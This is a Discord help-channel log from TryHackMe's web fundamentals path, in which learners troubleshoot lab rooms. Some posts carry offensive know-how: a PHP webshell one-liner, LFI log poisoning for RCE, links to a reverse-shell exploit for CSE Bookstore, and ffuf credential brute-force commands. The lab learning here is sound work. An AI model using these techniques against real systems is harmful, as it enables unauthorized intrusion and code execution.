web-fundamentals-path

[drowsy heron]

i can't pin point why my burpsuite settings are returning errors on the basic of burp suite room. Im in the task 7+ range and despite closing my attack box and starting new and repeating the steps i still get routing errors when trying to load my target machines IP in the burp browser..

can anyone point me in the direction of something thats changed is it something that is outdated in the text steps that I might of overlooked?

currently on task 11 i keep getting "error no route to host" on the burp browser

[restive hemlock]

Do you have intercept on?

[drowsy heron]

i did yes

and then i forward and I also tried it with it off as well just to see what the page would load @restive hemlock

[restive hemlock]

You might need to press forward a few times.

Are you on the Attackbox, or VPN?

[drowsy heron]

attack box

after i hit forward once the button wont allow another click if thats helpful at all info wise

[restive hemlock]

Can you send a screenshot?

[drowsy heron]

for sure of the error page or anything in particular ?

[restive hemlock]

Full Attackbox. 😄

[drowsy heron]

on laptop so not many windows up at once but anything ya need ill send

at intercept

after forward

[restive hemlock]

what is 10.10.33.186 ?

[drowsy heron]

the target attack machine

[restive hemlock]

Which room are you doing?

[drowsy heron]

task 11

also a previous task question was not correct as MISC is no longer in the version being deployed in the attack box. i caved and looked up that answer.. if thats helpful to not i see your a room tester so wanted to pass that a long as well i can capture that as well if you like

task 7

[restive hemlock]

Those sort of things would need to be posted in #room-bugs

[drowsy heron]

will do

[restive hemlock]

I'm a room tester, which is a volunteer role, I'm not part of the moderation team in Discord, nor am I part of the staff team of TryHackMe.

[drowsy heron]

understood thanks for forwarding me the correct room to post in .. still lots to learn your help is very welcome

[restive hemlock]

Anytime.

[drowsy heron]

should i shut down the machines and try starting over?? i caved on this part as well and checked out a video clip .. i really want to do this unguided as thats how i learn personally the best.. but in this case I saw the person get to that step and what his site looked like and well thats why i came here to see what I am missing

[restive hemlock]

I've loaded up a machine, I'm going to try and do it.

[drowsy heron]

rgr that

[restive hemlock]

Your website doesn't open for me, I suggest terminating the VM, and re-trying.

[drowsy heron]

thanks ill term now

get back to you in 2 min or so im assuming give it its usual spin up time etc

thank you i can continue. for what its worth i tried that once figured i missed something else on burp .. etc
much appreciated

[restive hemlock]

🙂 Happy hacking.

[pastel zephyr]

HELP cant get code for juice shop Task 3 Question 1
I think it might be a bug but want to make sure
https://youtu.be/G_OMkzMJ-wM

[ripe ore]

hello

can I get started in bug bounty by completing web fundamentals path?

What others paths should I complete to get a good grasp in bug bounty?

[flint stone]

i think the junior pentester would be a great one too

[zealous forum]

make them all

[tacit moat]

Hello, the JuiceShop is not giving the flag codes for some of the tasks, just FYI. I was successful and nothing popped up on multiple tries so I had to unfortunately go and find them on google lol.
To be more exact, the whole "Where did that come from?" section.

[brave isle]

Task 19 - What is the SHA-256 hash of https://code.jquery.com/jquery-1.12.4.min.js? The reference answer is outdated. Hence it does not accep the actual hash. Should be updated

[short wave]

May I ask which room is this?

[flat drum]

Hello! (first time posting) im having issues with the NMAP room, im stuck on the question "
Which RFC defines the appropriate behaviour for the TCP protocol?" on task 5, i know the answer, even found a video and the answer is 3 star then 3 star but mine is " 3 star then 4 star" (not sure that will show up but mine has an extra star in the answer compared to the video) any help is appreciated! 🙂

[next harbor]

Hey guys I am looking for some assistance, please refer the attached screenshot for example. Say I've identified an LFI here & am able to read the /etc/passwd . What should be the right approach for getting an RCE ?
I was thinking about poisioning either of the logs FTP/SSH ssh PHP_Backdoor_code@IP and then navigatign to the auth.log file from the website itself which will make the webpage execute the codebut I believe the access would be limited to read the file same thing for the FTP as well which may or may not be readabel. My question is primarily about how to know if I am accessing the right file path through the browser ?

Appreciate all feedbacks!

if there are dedicate rooms around log poisoning please do le tm eknow

[orchid hazel]

Typically you'd poison the webserver logs with user agent or similar

And there's one, but I'm not sure if it's still available. An LFI room

[next harbor]

Thanks for responding. So how do we actually navigate to the right file is what I a also trying to understand.

[tiny zenith]

Gave +1 Rep to @orchid hazel

[orchid hazel]

I don't know what you mean by navigate as you don't have a file browser

But you know, if you put like 10 ../ then you'll almost certainly hit /

[next harbor]

Yeah, that's what I was trying to say

[celest crescent]

i am trying to get the response from this request for upload js

but its give me respose of not modified

i have removed the js part from here

aah so it was cache problem

[quartz shard]

I'm still learning but I think FFUF and DNSRecon are different tools.

I see FFUF like to use "wildcards"

while with dns recon you can "identify" the DNS of a domain.

https://www.kali.org/tools/dnsrecon/

This is from the docs -> Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT).

dnsrecon -d microsoft.com

[rough kindle]

ah yeah, but I think its not quite the same because the example here was when the dnsrecon was used to bruteforce, the command '-t brt' if i recall correctly, as opposed to your example, since just using the -d command isn't really bruteforcing it

i was mainly confused because during the scenario i mentioned, it seemed like the same purpose of bruteforcing was attempted using two different tools.

but i realise now

that the dnsrecon used in this scenario was determining the subdomain by checking random subdomain names from a predetermined wordlist against a DNS server , as opposed to ffuf which is using a user defined wordlist (as opposed to dnsrecon predetermined one), and is testing them through the HTTP protocol

Assuming I haven't grossly misunderstood it from my current perspective

lmao

I think i understand now actually, fundamentally the ffuf was just trying to find valid web addresses by testing different HTTP get requests using different subdomain names, so it was just testing different links, based off the subdomains in the user specified wordlist.

Whereas the dns recon was just testing different domain names and seeing if they matched with the certain domain name stored in the DNS server (which corresponded to a certain IP address)

HTTP vs DNS. Lol

[orchid hazel]

That last line is the key IMO
You might want to look into something called vhosting, which is how you can have multiple sites on the same port+IP address and the same webserver

Vhosting being short for virtual hosting

[rough kindle]

Thanks for that suggestion, I will check it out.

[hollow folio]

Hi everyone, I am working on OWASP Top 10, Task 28: [Severity 9] Components With Known Vulnerabilities - Exploit. I got to the part where I ran python3 47837.py and got the result Usage: cve2019-16278.py <Target_IP> <Target_Port> <Command>. I tried running python3 47837.py 10.10.53.120 80 id and this gave me error Traceback (most recent call last): File "/root/Downloads/47837.py", line 67, in <module> cve(target, port, cmd) File "/root/Downloads/47837.py", line 54, in cve soc.send(payload) TypeError: a bytes-like object is required, not 'str' I am googling around to figure it out, but also maybe somebody has a hint?

[harsh elk]

is that the bookstore one?

[hollow folio]

it's nostromo web server

[harsh elk]

uhm weird, my owasp top 10 has only 23 tasks Oo

oh nvm, they made changes, found it.

did you try to start it with just python exploit.py ? might be just a version thing

[hollow folio]

ah ok, i got that already. i thought there is a step more. in the example/instructions they also showed actually running an IP, port and command. in one of the last screenshots. so i thought i should do it with an IP of the Kali machine 🙂

[whole breach]

for some reason, i am stuck in task **Task 8 Bypassing Server-Side Filtering: File Extensions **
no matter what extension i give, the website seem to be accepting only .txt it literally rejected a simple .jpg
and i tried numerous extensions to by pass the filtering like .jpg.php .jpg.php5 .txt.php5 .phar .ph5
but it keeps saying "File must be chosen before being uploaded. Type "help" for syntax"

somebody help

[quartz shard]

Which module @whole breach ?

[atomic chasm]

One of those extensions can actually bypass the filter. If you're still getting this error reboot the machine and try again.

[whole breach]

Upload Vulnerabilities

[whole breach]

yeah i got the flag 🙌

[narrow cove]

I have aquestion regarding Burp-Suite.

What browser do you use with Burp-Suite?

Is it the Burp Browser or any of the external ones and why?

[sweet python]

burps built in browser or firefox profile with foxyproxy

[errant sky]

Burps's chronium browser will be detected by some signatures,
so if I get blocked during pt I will switch to firefox + Proxy SwitchyOmega

[narrow cove]

If u get ''Blocked during pt'' What is PT and where do i see if i getblocked?

And thanks btw!

[errant sky]

like blank pages or 403 error codes

pt = penetration testing

[narrow cove]

Interesting

Thank you.

[narrow cove]

As I have kinda set up my own firefox-burpsuite setup as we speak; I wonder.. Why not just use the proxy settings of the Mozilla Firefox itself instead of use an additional program(the switchyomega)?

[errant sky]

Because plugins will make things easier, for example:
You are viewing the site target.thm with burp proxy enabled, but then you want to visit google which have HSTS enabled so the proxy can't handle it,
To solve this problem, you can specify to enable burp proxy only on the target.thm site,
then you can visit google normally

[narrow cove]

That indeed easens things.

To tackle this issue I use Firefox + built-in proxy and Edge for research etc etc.

For now...

Now let's get to cracking! Wth is burp-suite anyway. I dont think i'll get the hang of it in one day haha

Intercept can apparently stop my browser from accessing the page and gives me oppertunity to change somethings somehow.. interesting

[errant sky]

[naive roost]

hello

anyone here?

im doing the jewel but for some reason i canont get the /assets/js/upload.js .. path to cach i burp

anyone has any idea why?

nvm solved 😄

[pearl rapids]

I need help. I have been connecting with openvpn but when I'm trying to open a ACMI site with my virtual ip address the page is still loading

how can I solve this problem?

connection time out

[shy fox]

Hey guys 👋
I'm going over the Web Fundamentals room - Introduction to Web Hacking - Authentication Bypass (Task 3: Brute Force)
Link: https://tryhackme.com/room/authenticationbypass

I have a question regarding the command used. Why are we using -fc 200 ? This will filter out all the HTTP responses with the status code of 200 (OK) right? aren't we interested in those ones (successful loign with the username and password) and instead should be using -mc 200 ? But the command with -fs 200 is returning the right result so I'm getting confused here. I tried to understand the difference and read the man page of ffuf, still thinking this is the opposite to what I understand.

Appreciate any clarification. Thanks!!

[old helm]

Hi,

When using burpsuite, proxy for intercept via browser, it keeps giving errors.

About sandbox, OS doesnt support this. When i follow the steps to change this, the burp browser still does not work. Any suggestions?

[smoky ledge]

Hey

[restive hemlock]

Hello

[smoky ledge]

Hey guys I started the Authentication Bypass but i find it sooo hard especially the curl part can anyone help

[restive hemlock]

If you're a free account you might not be able to curl, unless you have a VM.

[smoky ledge]

no i m not a free account the problem is i have no clue what is that for i understand that curl i for communicating from and to the webserver

[restive hemlock]

If you follow along, it will work

[smoky ledge]

i guess i am the only one hhahaha sorry bro and thanks for help

[restive hemlock]

If you're completly stuck, there is a video by John Hammond.

[smoky ledge]

@restive hemlock can i have a link please

[restive hemlock]

Sorry, I'm looking at a different room

[restive hemlock]

I'll load on up, it's been awhile.

[smoky ledge]

@restive hemlock feel free bro

[restive hemlock]

Did you create an account?

[smoky ledge]

@restive hemlock what do you mean in tryhackme ?

[restive hemlock]

No, on the room

[smoky ledge]

no i haven't i guess

[restive hemlock]

You need to, so you can send the requests.

[smoky ledge]

How i can create it i m new to discord sorry

[restive hemlock]

In there for the room

[smoky ledge]

ahh yeah i did bro sorry for the confusing , i got quiz right but the syntax and how it works i couldn't understand it

[smoky ledge]

hey guys

have anyone came trough the file inclusion challenge i ve seen people doing th first task with burp , it doesn't make sense we didn't learn burp before

[valid orbit]

can someone help me pls?

when i inspect the page

in idor room

[restive hemlock]

I've answered you in another channel.

[distant granite]

hmmm, in the sql injection room > Task 5, the flag should appear in the pop-up after answering martin's password question?

[restive hemlock]

yeah

[distant granite]

ok, so the popup appears and immediately disappears to load the second page for me 🙂

[restive hemlock]

Oaft, I dunno how to help that one, do you use a recorder?

[distant granite]

yes, I thought about it, it was just to bring up the info 😉

[restive hemlock]

That's your mistake, using that mess.

[jagged pasture]

hi guys, i need some help with the challenge of "SQLMAP"

unfortunately only with the chat (my level of English is very low)

[thorny garnet]

Hey guys. I'm currently stuck on Task 15 on the OWASP 10 10 room. I managed to find an RCE exploit that gets a reverse shell back to my machine, but I can't seem to get it to connect to my machine. At first I thought it was because I was running my kali in a VM, so I tried using the same exploit in the Attackbox on THM and it still doesn't connect. Any ideas on what it could be?

For context, the tasks asks me to get the content of /opt/flag.txt so I thought the best way to do that would be a reverse shell, but I just can't seem to get the reverse shell to connect to my machine no matter what I do

I looked at the code of the exploit and it doesn't require anything specific aside from the URL, an lhost and lport

I've been stuck on this way longer than I want to admit..

[restive hemlock]

Which Owasp top 10 room?7

Old or new?

[thorny garnet]

It's OWASP 2021 @restive hemlock

[restive hemlock]

I'm going to boot it up, I already think I know which one it is.

Yup, bookstore.

[thorny garnet]

I found two exploits and neither seem to be working. I'm gonna feel real dumb if it turns out to be something simple lol

Can you tell me if I missed something?

[restive hemlock]

I think you did, can you tell me what you tried, and screenshots please?

[restive hemlock]

And link me the exploits you used,

[thorny garnet]

So far I've tried https://github.com/jayngng/cse_bookstorev1 and https://www.exploit-db.com/exploits/47887

I can get a shell to upload on the first one, but it doesn't connect, whether it's in my kali VM or the attackbox

[restive hemlock]

Correct exploit. 🙂

Can you show me in a screenshot?

[restive hemlock]

..

[thorny garnet]

I tried in both my kali VM, and the attackbox

[restive hemlock]

Why are you trying two different ports?

Both 85 (which is wrong)

and 4444

[thorny garnet]

Wait

I thought port 85 was where the webapp was hosted

and 4444 is my local port

[restive hemlock]

The task tells you it's port 84...

[thorny garnet]

[restive hemlock]

Local port won't be needed either.

[thorny garnet]

Running it without specifying a local port triggers a TypeError

[restive hemlock]

Strange.

[restive hemlock]

https://www.exploit-db.com/raw/47887

Copy that, create a new file on your kali (make sure you save it as .py

[thorny garnet]

I tried that one too

[restive hemlock]

Can you try that again?

And show a screenshot?

[thorny garnet]

Buuut I was using the wrong port...

[restive hemlock]

Try use the right one this time 😛

[thorny garnet]

It uploads but can't execute commands apparently

[restive hemlock]

Screenshot?

[thorny garnet]

I tried looking at the code, and I'm not sure if I understand the payload exactly

[restive hemlock]

Remove the /index

Just have the URL and port.

[thorny garnet]

Thanks man lmao

[restive hemlock]

😄

It's always the simple things!

[thorny garnet]

Much appreciated!

[restive hemlock]

No problem!

[thorny garnet]

I was stuck on that for like a whole day

[nocturne yarrow]

Hello everyone. Has anyone tried webshell in file upload vulnerabilities #Task5 - Remote Code Execution? Most of the walkthrough show use of reverse shell. I tried with the given php payload but it does not work.

[nocturne yarrow]

It gives a 500 error if I access that page - http://shell.uploadvulns.thm/resources/webshell.php?cmd=id

[short wave]

Can you send a screenshot please? We won't be able to access it as you might have added an entry in the /etc/hosts file for the domain.

What php payload are you using? The command you are executing is 'id' and it doesn't seem to be a reverse shell.

[nocturne yarrow]

Sry I tried earlier but I do not see an option to upload a screenshot/file.

I uploaded a php webshell file to /resources path. And then used above mentioned url to test the file.

The code I uploaded in the webshell.php file is

<?php
    echo system($_GET["cmd"]);
?>

I uploaded another image file and I am able to access that but this file gives 500 error

[short wave]

!docs verify

[reef vortex]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[short wave]

@nocturne yarrow you need to verify your account to be able to post screenshots

Have you tried to upload a php reverse shell (and changing the file extension to bypass the restriction) instead?

[nocturne yarrow]

Thank you I will check this

[tiny zenith]

Gave +1 Rep to @short wave

[rain terrace]

So im in the How websites work room and im not sure if i did something wrong or not, but the dog image is not showing up

<!DOCTYPE html>
<html>
    <head>
        <title>TryHackMe HTML Editor</title>
    </head>
    <body>
        <h1>Cat Website!</h1>
        <p>See images of all my cats!</p>        
        <img src='img/cat-1.jpg'>
        <img src='img/cat-2.jpg'>
        <img scr='img/dog-1.png'>
    </body>
</html>

[frozen wigeon]

It's src, not scr

[rain terrace]

ah so im just dumb thanks

[frozen wigeon]

It happens

[split surge]

Hey there 👋

I've question

I was logging in to my cpanel with valid credentials. But a few minutes later I am longer able to gain access. It just says invalid creds. So my IP addr is blocked?

[short wave]

Which room are you working on?

[split surge]

Im talkin bout my own website bro

[rare relic]

Hi, I am trying to complete the OWASP juice shop exercises, but I am not able to get the flags even the solution seems to be working. To be precise, in the case of where did that come from (DOM XSS), I can see the XSS popping up, but I do not get any flag. I cleared the browser cache, I terminated the machines again and again, I switched to chrome, but no success. And now I am stuck, could you anybody help me this issue? Thanks.

[karmic dew]

@rare relic did you find the score board? Look there after the specific "succes-entry" and click on the green switch on the right side. then the flag should be displayed again. I had the same problem, however, only with one flag.

[rare relic]

Thanks for your quick response. But I am not able to locate any scoreboard, could you elaborate?

[tiny zenith]

Gave +1 Rep to @karmic dew

[rare relic]

problem solved, thanks a lot. Although, I did not find the scoeboard, I just re-ran everything, and instead of typing the command, I copied it from THM, and it worked, still not sure why! :--)

[tiny zenith]

Gave +1 Rep to @karmic dew

[karmic dew]

@rare relic Very nice.
Just started the VM. The above mentioned page is available and you should definitely take a look, if you accidentally clicked away one of the other flags 🙂

[rare relic]

So far I got all the flags, but I was only stuck with the DOM XSS, but by scoreboard, if you mean the green pop-up, then yes, I can see that, otherwise, nada. Your brother is new to this whole thing :--)

[karmic dew]

@rare relic it's no popup, it's a webpage Finding the page also gives a flag. But you don't need the flag for this room, as far as i can remember.

[rare relic]

you are right, but now I checked the THM material, and I have to still finish the XSS exercises, and then the last one is about the scoreboard. Cheers mate :--)

[vale loom]

why I can't load image

and I add domain in /etc/hosts but use firfox can't load web

I'm in china,I use the vpn on the kali

I use the curl can view source,but web can't, does anyone konw why?

I tried to remove user-agent successfully using browser access

[paper orchid]

firefox will ask you if you want to visit the domain on the top, if you ignore it then it wont work

[coarse crystal]

Hi, I am new to this course and I got litte stuck.

How can I find where is the directory listing flag in a web? I don't know what to use.

[restive hemlock]

Your favourite browser directory brute forcer.

[bronze sinew]

100% 🙂

"Upload Vulnerabilities" Challenge was a bit "hard"

had to restart the server sometimes , so if a function does not work , restart may help

[coarse crystal]

Can you be more spesific? As I am new so I actually did not understand what you ment 🙂

[restive hemlock]

ffuf, gobuster etc.

[coarse crystal]

oh thanks 🙂 I will make som research about how to use them

[languid dirge]

DubZz and ScrubZ. This could be a WWF tag-team.™️

[restive hemlock]

Only of our costume resembles either the Legion of Doom, or the Bush wackers

[thorn dust]

Hello, I'm in the room: Upload Vulnerabilities
(https://tryhackme.com/room/uploadvulns)
task 9: Bypassing Server-Side Filtering: Magic Numbers
and I had a recurring problem when trying to upload the shell.php file

After adding the magic numbers modification, I can't upload the file, even though the file is displayed as a GIF in the shell.php file

[rare relic]

Hi, is there any way to exploit jquery v1.7.1

[jovial needle]

hey

i was doing content discovery module and after waiting for 2 mins and turning the machine when i click on link its showing that site is taking too long to respond and its not working , what should i do, 4-5 times i turned off the machine and again restart the machine then waited for 2 mins but after these steps also nthg happing same thing showing again and again that site is taking too long to respond, i have a great band width still nothg happing

[sacred harbor]

Are you using your own box or the attackbox? There are occasional issues when using your own VM. Try to spin up with the attackbox and see if that works.

[jolly prairie]

has anyone gotten through the upload vulns room recedntly? I cannot get any file to upload on the server side filter extension by pass.
I just get stuck at a loop where its saying a file must chosen before being uploaded.

[jovial needle]

its not working on attackbox too bro

it show connection error

everywhere

personal vm or attackboxx

[restive hemlock]

What's not working exactly?

[safe niche]

hello, so im doing a task on network secuity 2 and im working on my own kali linux vm, but everytime i try to run this command " cd /tmp/mount/cappucino" it always gets stuck at cd /tmp/moun and i cant type anymore...anyone can help with this issue? thanks

[distant pike]

can you send me the link of the room

If you are in rev shell have you tried to stabilize your shell

[restive hemlock]

It's not a reverse shell...

[restive hemlock]

https://www.linuxquestions.org/questions/linux-networking-3/mount-hangs-forever-with-no-error-messages-4175622450/#:~:text=It may be your system,have any messages about attempts.

[sacred harbor]

Post some screenshots of the errors you are receiving. Will be easier to narrow down your issue.

[jovial needle]

i am nt able to put screen shot

[jovial needle]

the sites given in modules

i am not able to connect on that

from linux from attackbox

[jovial needle]

hello

anyone here to help ?

[jovial needle]

hey guys

anyone online

i am having issues in ffuf

[jovial needle]

stat /usr/share/wordlists/SecLists/Usernames/Names/names.txt: no such file or directory
this is the error

[misty shadow]

Error seems to be pretty straightforward? Did you check if the file you are looking for is even in that path ?

[jovial needle]

i got it sir

L in seclists, i wrote it wrong

thankyou

[umbral adder]

I'm doing content discovery module from the Web Fundamentals path but I got stuck at task 2. I cannot connect to robots.txt file even though I'm using the correct machine IP. I'm connected using Attackbox but when I post URL in firefox I got this msg "Unable to connect". I searched in discord for previous simialr quires but cannot find solution to mine. Any suggestions?

[merry wadi]

Hi everyone (upload vulnerabilities room challenge), when accessing via modules ../content/XXX.jpg I get a 504 error and no shell, although I uploaded a java webshell script and located the file. What could be wrong?

There's a connection (one single) to Netcat, but the shell doesn't appear. I tried make the shell an executable (?) this doesn't change anything.

Shell must be broken, but...? No idea...

[short wave]

Try http instead of https

[short wave]

I haven't worked with a java webshell that much, but have you tried a reverse shell one? Also, have you checked which OS the target is running?

[merry wadi]

Thanks for replying! Sorry for explaining badly. It was a reverse shell, I got a signal from it (it did “call home”), but not more than that. It was a NodeJS script from the swisskyrepo on github.

[umbral adder]

It worked thanks

[tiny zenith]

Gave +1 Rep to @short wave

[wide apex]

Did you guys enjoy this path? I’m finishing SOC 1 and thinking of doing this next

[left vessel]

Hi there,

Someone can explain to me with it is -fc 200 in the ffuf request and noy -mc 200 ?

We are searching a match between the username and the password so why-fc 200 parameter ?

Thanks !

[restive hemlock]

-fc 200 is looking for a "200 OK" request, which means it was successful.

[left vessel]

But read the explanation text below "... status other than 200"

And in the documentation it is explained that -fc is to filter out and -mc is to match.

[left vessel]

So in this room the expected result is another result than 200 it means that if the request match we will be redirect throw another page it means that we are waiting for 300/301 status code ! Enjoy 🥳🥳

Rq:
-fc : filter out
-mc : match

[left vessel]

Careful sir -fc is filter out so not looking for a 200 status code

[rare relic]

tryhackme tricked me. in burp suite room i went to admin.tryhackme.com and got rickrolled!!!

[restive hemlock]

Looool.

[stoic birch]

that's actually so funny lmfao

[short wave]

There are other boxes that gives you similar surprises so there isn't a lack of it. 🤣

[lofty pelican]

whenever i use ffuf tool to fuzz i got blocked by website. How can i bypass it??

[restive hemlock]

Which website?

[sage prairie]

If it is a publically facing website, there are security measures against scans like that.

[lethal wharf]

Hello

[sharp haven]

In Burp Suite Other Modules Room https://tryhackme.com/room/burpsuiteom
I can't seem to get the link to load properly. http://<IP>/support/login I've tried with intercept both on and off, but only received an error message below. What am I going wrong here?

[restive hemlock]

Are you on the Attackbox or VPN?

Also, did you mean to block out the IP in the failure line?

[sharp haven]

I'm using VMware without a VPN on this room. Yeah just blocked out the IP, since I closed out of the box.

[restive hemlock]

Ok, I was just wondering because you blocked out the IP in the line, but you left it in the address bar.

[sharp haven]

ahh well I grabbed a quick screenshot before closing it out.

I have a meeting in 5mins, so if I don't pop back in. It's cuz of that. Thanks for the help by the way.

[restive hemlock]

You should be able to access the ip, not right away, sometimes it's 5-10 mins

[sharp haven]

Good to know I'm impatient lol thanks Scrubs

[sharp haven]

It wasn't the deployment time. It was that the working link is https://10-10-29-76.p.thmlabs.com/support/login/ instead of http://10.10.29.76/support/login what's listed in the room. That should be a quick fix, but others are going to run into the same problem.

[restive hemlock]

Both links will work.

The p.thmlabs don't need on the vpn to access.

[sharp haven]

wouldn't work for me. strange

[stoic nymph]

https://tenor.com/view/hello-gif-25645320

[rough grove]

I was able to get into the shell, but how do I navigate to /opts/flag.txt?

[restive hemlock]

Directory traversal.

[rough grove]

i feel stupid, but i was trying to traverse the directory using cd, but i can't get anywhere

i figured it out

nvm

i used cat /opt/flag.txt

i wonder why using CSE Bookstore 1.0 - Authentication Bypass or the other two didn't work?

[restive hemlock]

Cse bookstore 1.0 should have worked.

What was your syntax?

[stone sandal]

hi, i'm on the "Upload Vulnerabilites" room on the task 8, when i'm try to upload a file i get an error 500. I'm not sure if it's normal

[stone sandal]

just reload the machine seem to be working, my bad

[rare relic]

4 Learning Paths Done! ✅

6 more to go! 🥵 Next path: SOC Level 1

[sharp haven]

Ran into the same problem using the CSE Bookstore 1.0 - Auth Bypass.
python3 48960.py http://10.10.225.180:84 and I received a syntax error.

[sharp haven]

So weird, I'm getting this error. I didn't modify the file in anyway.

[restive hemlock]

Maybe it's the wrong exploit

[restive hemlock]

https://www.exploit-db.com/exploits/47887

[sharp haven]

That's what it was. That's what I get when following someone's write up and not reading all the way through.

thanks Scrubz

[lucid epoch]

https://tryhackme.com/room/subdomainenumeration Task 6 Virtual Hosts. I don't really understand this:

user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP
The above command uses the -w switch to specify the wordlist we are going to use. The -H switch adds/edits a header (in this instance, the Host header), we have the FUZZ keyword in the space where a subdomain would normally go, and this is where we will try all the options from the wordlist.

Because the above command will always produce a valid result, we need to filter the output. We can do this by using the page size result with the -fs switch. Edit the below command replacing {size} with the most occurring size value from the previous result and try it on the AttackBox.
user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP -fs {size}

"Because the above command will always produce a valid result" what do you mean by that?

[restive hemlock]

Did you start the machine?

[short wave]

Have you tried sending the request using the command provided?

Doing so will provide a status code of 200, even if the subdomain name you provide is invalid as it will only redirect to acmeitsupport.thm. That's how I understood it. You can also do the TakeOver room (https://tryhackme.com/room/takeover) to reinforce the concepts though I haven't finished it myself. I'm only at the point where I identified the subdomains.

[lucid epoch]

Ok, now I get it. Thank you 🙂

[lucid epoch]

Eventually I finished this task, I just didnt understand that point. I always start the machine and the AttackBox, I dont see another way to learn.

[merry sedge]

I have a question on LFI challenges

[short wave]

Just ask away and someone will answer it, haven't done the LFI challenges myself though.

[merry sedge]

task #8 of File Inclusion, on flag3 I fired a local http server using python http.server module and served a php file to read the flag from /etc/flag3 then I used curl with POST method to send a variable file=point_to_my_local_http, I was using the VPN. But I feel I cheat it. Is there any other way? already completed the room but I'm curious since the hint mention to review $_REQUEST on PHP to see what's not filtered.

I made the file with no extension since the server is always adding .php at the end

and of course, name my file .php

[lament grove]

i find myself to be really bad at web application penetration testing but good at network pen testing . is that normal ? i passed the network security modules easily as i have a better Technical background in networking in general. also i am starting to feel kinda web app hacking boring lol. does anyone feel the same way ? can someone help ?

[stable escarp]

Going live at 8pm PST on https://twitch.tv/0xgsat
Completing Web Application Security Path > Content Discovery

[static ginkgo]

Hello, I have a problem with the room "
Upload Vulnerabilities »
I do not understand very well the manipulation to do so
I can't access the website "overwrite.uploadvulns.thm"
Thanks for your help 🙂

[short wave]

Have you added the required entry in your /etc/hosts file?

[static ginkgo]

I tried but I must be doing it wrong :/
I tried several things

" sudo nano /ect/hosts " but it tells me that there is no direction for /ect

"vim /ect/hosts"
but it still doesn't work when I want to go to the website

[proper moat]

the path is "/etc/hosts"

you are tpying "ect"

sudo nano /etc/hosts

@static ginkgo

[static ginkgo]

my god

thx

[uneven dust]

"What does Sequenzer allow us to evaluate?" What is this answer??? I cannot find

[short wave]

What room are you working on please?

[uneven dust]

okay i found it

[uncut cove]

how do i get to this window? used to mac ( sorry )

[short wave]

That's Remmina.

[uncut cove]

remmina?

[uncut cove]

what do yo you mean?

[short wave]

https://remmina.org/how-to-install-remmina/#debian

Its a remote desktop application with UI in Linux based OSs

[uncut cove]

i m at introduction to window why do i have to install remmina ?

i don t understand how to get to this window

[restive hemlock]

Because remmina is better than xfreeddp

[copper stag]

I'm having so much fun with this so far. Just finished Local File Inclusion. It took me a while to fully grasp it but I'm very proud that i was able to figure it out on my own

[valid bridge]

I'm running into this same issue. Any help? sha256sum after a wget isn't getting me the answer

[proper moat]

@uncut cove click the + button top left

[boreal jasper]

Struggling with the brutefroce with ffuf. I made the valid username text file and ran the command but it doesnt give a user or password. also doesnt give errors

[short wave]

Can you share the entire command?

[boreal jasper]

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.150.143/customers/login -fc 200

[short wave]

I don't see anything wrong with the command. Can you share a screenshot of the screen after running the command?

!docs verify

[reef vortex]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[proper moat]

this is the command from my notes @boreal jasper "ffuf-w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W:2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.94.46/customers/login -fc" i cant spot a diffrence but worked for me

i just compaired them in a text compairer and there exacly the same so it might br a THM problem

are you letting ffuf run the whole operation or are you stopping it early? because from memory the results apear near the end of the wordlist

correct me if im wrong

[boreal jasper]

i let it run the entire time. I just moved on with other stuff. I went back and typed the command in like normal and it worked. Maybe at the time it was bugged?

[proper moat]

yeh maybe the webserver did not boot properly, glad you worked it out 🙂

[trim spruce]

@proper moat Do you still need help with your question? Or did you figure it out? I had the same issue as you, but I managed to get it to work

[bleak cosmos]

IN this room, under intro to web hacking, content discovery is completed completely but it still does not show green checkmark...I don't know whts pending..

[bleak cosmos]

Good-Morning People!
Have a nice hacking day 🙂

[bleak cosmos]

LOL I don't believe if this is possible?? 101% Completed........

What's wrong here??? It does not give me a Green CheckMark on completino.

[restive hemlock]

Maybe one of the tasks is repeated.

[bleak cosmos]

But I am not getting green checkmark for completion of it...

[tall lake]

How do I start

[sharp lava]

anyone good with PHP? I have no experience whatsoever and having a hard time with the first question on task 2 in Command Injection
EDIT: NVM: I was looking at the wrong code snippet it was referring to

[proper moat]

it was someone else asking the question i belive it was @boreal jasper

thank you tho and i also dont think the problem was solved

[tall lake]

Hey pals
I'm new here
I do I go on this long journey 🤤

[rare relic]

Glad to have you aboard, welcome!

[tall lake]

Yeah
Thanks

[rare relic]

Okay, I'm stumped and it's probably something stupid simple, but looking up it seems others had the same issue.

Authentication Bypass, https://tryhackme.com/room/authenticationbypass, Task 3 "Brute Force".

Command being issued:
root@ip-[REDACTED]:/usr/share/wordlists/SecLists/Passwords/Common-Credentials# ffuf -w valid_usernames.txt:W1,10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://[REDACTED]/customers/login -fc 200

Response:
` :: Method : POST
:: URL : http://[REDACTED]/customers/login
:: Wordlist : W1: valid_usernames.txt
:: Wordlist : W2: 10-million-password-list-top-100.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=W1&password=W2
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 200

---

:: Progress: [100/100] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::`

valid_usernames.txt is formatted as followed, and yes I placed it in the same folder together:

0day
dolphin
Jake
Skidy

✅ Using attackbox
✅ Skimmed thru ffuf github
